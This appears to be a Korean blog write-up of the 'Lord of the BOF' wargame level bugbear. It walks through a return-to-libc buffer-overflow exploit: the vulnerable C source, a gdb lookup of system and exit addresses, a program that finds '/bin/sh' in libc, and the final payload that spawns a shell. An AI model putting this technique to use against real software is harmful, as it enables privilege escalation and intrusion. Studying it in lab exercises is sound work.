반응형

RTL을 미리 공부해둔 상태여서 3분만에 풀엇습니다 ㅋㅋ

소스부터 보면

[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

굵은 부분으로 표시해둔 부분처럼 RET의 앞주소가 bf이면 안되므로 

그말은 즉슨, 스택안에 쉘코드를 넣어준다면 씹히게 됩니다. 

위에서 주어진 흰트도 그렇고 지금의 상황도 그러하여 RTL 기법을 사용하였습니다

우선 system 주소와 exit 주소가 필요하므로 디버깅하여 찾아내면

[darkknight@localhost /tmp]$ gdb -q bugbear 

(gdb) b main

Breakpoint 1 at 0x8048436

(gdb) r  

Starting program: /tmp/bugbear 


Breakpoint 1, 0x8048436 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) p exit

$2 = {void (int)} 0x400391e0 <exit>

(gdb)   

이렇게되고, /bin/sh 주소를 찾아야하므로 소스를 짜서 넣어주면 

[darkknight@localhost /tmp]$ cat give.c

#include <stdio.h>


#include <memory.h>


int main(void)


{


        long shell;


        shell = 0x40058ae0;


        while( memcmp( (void *)shell, "/bin/sh", 8) )


                shell++;


        printf("%s is at %p\n", shell, shell);


        return 0;


}


[darkknight@localhost /tmp]$ ./give 

/bin/sh is at 0x400fbff9

구할건 다구햇으므로 페이로드를 작성하고 커맨드를 날려주면

 | buf | SFP | &system | &exit  | &/bin/sh|

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "\x90"x44,"\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`

?????????????????????????????????????????????@?@廈@

bash$ my-pass

euid = 513

new divide

bash$ 

쉘이 따엿습니다


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level15.giant  (0) 2014.08.22
(LOB)level14.bugbear  (0) 2014.08.20
(LOB)level12.golem  (0) 2014.08.19
(LOB)Level11.skeleton  (0) 2014.08.16
(LOB)Level10.vampire  (0) 2014.08.14
,